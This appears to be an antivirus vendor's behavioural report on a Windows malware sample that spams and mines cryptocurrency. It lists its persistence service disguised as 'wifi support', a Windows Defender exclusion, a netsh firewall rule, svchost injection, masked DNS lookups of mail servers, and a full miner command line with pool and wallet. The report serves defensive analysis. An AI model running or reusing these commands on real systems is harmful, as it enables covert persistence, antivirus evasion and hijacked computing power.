Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\gsizjxuf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\gsizjxuf] 'ImagePath' = '%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\gsizjxuf] 'ImagePath' = '%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\gsizjxuf' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bwasitvt.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bwasitvt.exe to %WINDIR%\syswow64\gsizjxuf\bwasitvt.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://li##4u.ru/client/instagram_native/likes.json?to################################################
- http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ka####kis.myweb.nl
- DNS ASK mx##.#mig.gmx.net
- DNS ASK gm#.de
- DNS ASK mx###02.web.de
- DNS ASK we#.de
- DNS ASK iz##en.nl
- DNS ASK ap#.#r-cy.ru
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ex###ent.com
- DNS ASK ex####smedica.com
- DNS ASK mp##et.net
- DNS ASK ma####te1.ij.net
- DNS ASK ij.net
- DNS ASK bs###.btcloud.nl
- DNS ASK vi#.nl
- DNS ASK ta###eerets.nl
- DNS ASK lo####ck.merant.com
- DNS ASK on##.lmcu.org
- DNS ASK me##nt.com
- DNS ASK re###ureau.nl
- DNS ASK us###.ttvnw.net
- DNS ASK ve##zon.net
- DNS ASK zi#####in.gartner.com
- DNS ASK me###roup.com
- DNS ASK cr###stone.nl
- DNS ASK br####.medallia.com
- DNS ASK ex#####.medallia.com
- DNS ASK mx#.##rthlink.net
- DNS ASK ev#.net
- DNS ASK vi########er.ams02.hls.ttvnw.net
- DNS ASK lm###ndijk.nl
- DNS ASK fi#####.ibarracuda.nl
- DNS ASK al###ate.com
- DNS ASK va#####.allstate.com
- DNS ASK my###lbox.com
- DNS ASK ma##.#yrealbox.com
- DNS ASK vi########er.sao01.hls.ttvnw.net
- DNS ASK vi###tron.ca
- DNS ASK mx.##deotron.ca
- DNS ASK in###gram.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK bu###ips.net
- DNS ASK ya##o.es
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK bn####ine.com.br
- DNS ASK mx.####.locaweb.com.br
- DNS ASK xt##.co.nz
- DNS ASK mx.##ra.co.nz
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ro###tmail.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK li##.com.ar
- DNS ASK dn#######edge01.email.rr.com
- DNS ASK ta###bay.rr.com
- DNS ASK pa####x.above.com
- DNS ASK vi########er.fra02.hls.ttvnw.net
- DNS ASK bm##30.net
- DNS ASK bu############rs-com.mail.protection.outlook.com
- DNS ASK bu#####npartners.com
- DNS ASK mx#.###c.tsannkuen.com
- DNS ASK tk##.#sannkuen.com
- DNS ASK mx.##peng.com
- DNS ASK ad##ng.com
- DNS ASK mx#.##vistar.net
- DNS ASK pa###.movistar.net
- DNS ASK Ma######.Digital-Postoffice.com
- DNS ASK ho###il.co.uk
- DNS ASK oo#s.nl
- DNS ASK ma##.#wissoptic.com
- DNS ASK di###uide.be
- DNS ASK wo###online.be
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK ac###cownow.com
- DNS ASK d9#####.##s.barracudanetworks.com
- DNS ASK ap####ipping.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK google.com
- DNS ASK mx.##arlet.be
- DNS ASK yu##m.be
- DNS ASK aspmx.l.google.com
- DNS ASK au###tana.edu
- DNS ASK ma###.infraxnet.be
- DNS ASK mx#.mail.ru
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK xe####colorpsg.com
- DNS ASK hk.####n.herominers.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.####te.mail2world.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ex###e.co.uk
- DNS ASK mx#.#omcast.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK co##ast.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ma#l.ru
- DNS ASK in###ev.com.ua
- DNS ASK mx#.###ail-server.com
- DNS ASK pj###oney.com
- DNS ASK mx#######403.gslb.pphosted.com
- DNS ASK ve###ian.com
- DNS ASK mx###.in-mx.net
- DNS ASK pr####rvgroup.com
- DNS ASK sw###optic.com
- DNS ASK market.yandex.ru
- DNS ASK qu####orworld.com
- DNS ASK bing.com
- DNS ASK p.####om.ctmail.com
- DNS ASK ha##net.net
- DNS ASK mx.##nafos.com
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ex##aim.com
- DNS ASK og#####ealthworld.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK be###outh.net
- DNS ASK mx#.###nferry.iphmx.com
- DNS ASK fu###estep.com
- DNS ASK li##4u.ru
- DNS ASK ma##h.com
- DNS ASK mb###.#x.proofpoint.com
- DNS ASK mb##.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK mo###nest.com
- DNS ASK sm######t.billgosling.com
- DNS ASK ai##orp.com
- DNS ASK mx#.#aver.com
- DNS ASK na##r.com
- DNS ASK wa##doo.nl
- DNS ASK ma##.#uchtips.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\gsizjxuf\bwasitvt.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gsizjxuf\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwasitvt.exe" %WINDIR%\SysWOW64\gsizjxuf\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create gsizjxuf binPath= "%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description gsizjxuf "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start gsizjxuf' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gsizjxuf\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwasitvt.exe" %WINDIR%\SysWOW64\gsizjxuf\
- '%WINDIR%\syswow64\sc.exe' create gsizjxuf binPath= "%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description gsizjxuf "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start gsizjxuf
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k
